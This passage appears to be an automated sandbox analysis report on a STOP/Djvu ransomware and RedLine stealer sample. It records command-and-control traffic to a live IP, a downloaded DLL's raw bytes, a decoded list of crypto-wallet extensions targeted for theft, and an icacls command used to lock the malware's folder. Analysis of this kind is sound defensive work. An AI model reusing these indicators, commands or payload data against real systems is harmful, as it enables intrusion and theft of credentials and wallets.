2024-04-24 05:37:14 UTC	5165	IN	Data Raw: 31 34 32 30 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 1420TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49745	95.217.9.149	443	6232	C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 05:37:15 UTC	262	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHCGDGIEBKJKFHJJKFC User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 5477 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 05:37:15 UTC	5477	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 39 35 30 63 32 62 65 39 30 64 33 66 31 64 32 39 35 34 39 35 31 35 38 63 38 38 37 32 30 32 33 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 Data Ascii: ------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="token"9950c2be90d3f1d295495158c8872023------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------GDHCGDGIEBKJKFHJJKFCCont
2024-04-24 05:37:16 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 05:37:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 05:37:16 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49747	172.67.139.220	443	3228	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 05:37:16 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-24 05:37:16 UTC	912	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Apr 2024 05:37:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S1KAxESQ1tnwGy%2By5nE8psdVeHTq4pw09GnDlHw4udT2Q3H1bervIWWsdmbpUf5BTiDTaRUvBXlZq83uLXV4qqJTx8%2FbOTHc9Tjew4K2XAGi99d6BL6QhgyP8M%2Fr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8793bd8cb8d81017-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 05:37:16 UTC	457	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 33 31 35 39 35 34 35 64 34 31 37 31 30 33 35 38 34 31 31 66 35 63 35 34 30 65 34 32 34 34 35 33 35 62 35 34 35 32 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#3159545d41710358411f5c540e4244535b5452
2024-04-24 05:37:16 UTC	473	IN	Data Raw: d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 36 37 30 66 30 32 30 62 31 37 32 37 35 35 30 65 31 37 34 39 31 32 30 36 35 38 31 34 31 32 30 35 30 64 30 32 30 34 31 33 35 61 35 35 30 65 31 37 34 39 31 32 30 36 22 3e Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#670f020b1727550e17491206581412050d0204135a550e17491206">
2024-04-24 05:37:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49750	95.217.9.149	443	6232	C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 05:37:17 UTC	177	OUT	GET /sqln.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 05:37:18 UTC	248	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 05:37:17 GMT Content-Type: application/octet-stream Content-Length: 2459136 Last-Modified: Sun, 14 Apr 2024 18:52:51 GMT Connection: close ETag: "661c2603-258600" Accept-Ranges: bytes
2024-04-24 05:37:18 UTC	16136	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-04-24 05:37:18 UTC	16384	IN	Data Raw: cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: X~e!*FW\|>\|L1146
2024-04-24 05:37:18 UTC	16384	IN	Data Raw: 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 56 8b f8 e8 51 39 10 00 83 c4 20 80 7e 57 00 5b Data Ascii: tP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhSVQ9 ~W[
2024-04-24 05:37:18 UTC	16384	IN	Data Raw: be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 89 74 24 28 89 4c 24 58 e9 f4 00 00 00 8b 46 08 Data Ascii: 0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5t$(L$XF
2024-04-24 05:37:18 UTC	16384	IN	Data Raw: 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e 7f 0a 8b 44 24 14 39 44 24 38 76 12 8b 07 51 ff Data Ascii: $;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|D$9D$8vQ
2024-04-24 05:37:18 UTC	16384	IN	Data Raw: 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: 3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-04-24 05:37:18 UTC	16384	IN	Data Raw: ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: T$L$$l$ GT$GL$L$T$_^][_^]3[
2024-04-24 05:37:18 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 c3 cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 Data Ascii: Vt$W\|$FVBhtw7t7Vg_^jjjh,g!t$jjjh
2024-04-24 05:37:18 UTC	16384	IN	Data Raw: 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 d3 e2 8b 4c 24 10 4a d3 e2 09 96 c4 00 00 00 5f Data Ascii: qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$L$J_
2024-04-24 05:37:18 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 56 ff 15 3c 20 24 10 a1 38 82 24 10 83 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$$V< $8$

Target ID:	0
Start time:	07:36:55
Start date:	24/04/2024
Path:	C:\Users\user\Desktop\8jvTeVxooN.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\8jvTeVxooN.exe"
Imagebase:	0x400000
File size:	851'456 bytes
MD5 hash:	EFD7D885536EF4FD62CBC513BBE04D6E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1634521884.0000000004434000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	07:36:55
Start date:	24/04/2024
Path:	C:\Users\user\Desktop\8jvTeVxooN.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\8jvTeVxooN.exe"
Imagebase:	0x400000
File size:	851'456 bytes
MD5 hash:	EFD7D885536EF4FD62CBC513BBE04D6E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:36:57
Start date:	24/04/2024
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	icacls "C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Imagebase:	0x130000
File size:	29'696 bytes
MD5 hash:	2E49585E4E08565F52090B144062F97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:36:57
Start date:	24/04/2024
Path:	C:\Users\user\Desktop\8jvTeVxooN.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\8jvTeVxooN.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	851'456 bytes
MD5 hash:	EFD7D885536EF4FD62CBC513BBE04D6E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000003.00000002.1657747335.0000000004482000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000003.00000002.1658031837.0000000005E90000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000003.00000002.1658031837.0000000005E90000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:36:58
Start date:	24/04/2024
Path:	C:\Users\user\Desktop\8jvTeVxooN.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\8jvTeVxooN.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	851'456 bytes
MD5 hash:	EFD7D885536EF4FD62CBC513BBE04D6E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:36:58
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe --Task
Imagebase:	0x400000
File size:	851'456 bytes
MD5 hash:	EFD7D885536EF4FD62CBC513BBE04D6E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000005.00000002.1668456662.0000000004630000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000005.00000002.1668558182.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000005.00000002.1668558182.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 53%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	07:36:59
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe --Task
Imagebase:	0x400000
File size:	851'456 bytes
MD5 hash:	EFD7D885536EF4FD62CBC513BBE04D6E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000006.00000002.2868958122.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000006.00000002.2868958122.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000006.00000002.2868958122.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	07:37:04
Start date:	24/04/2024
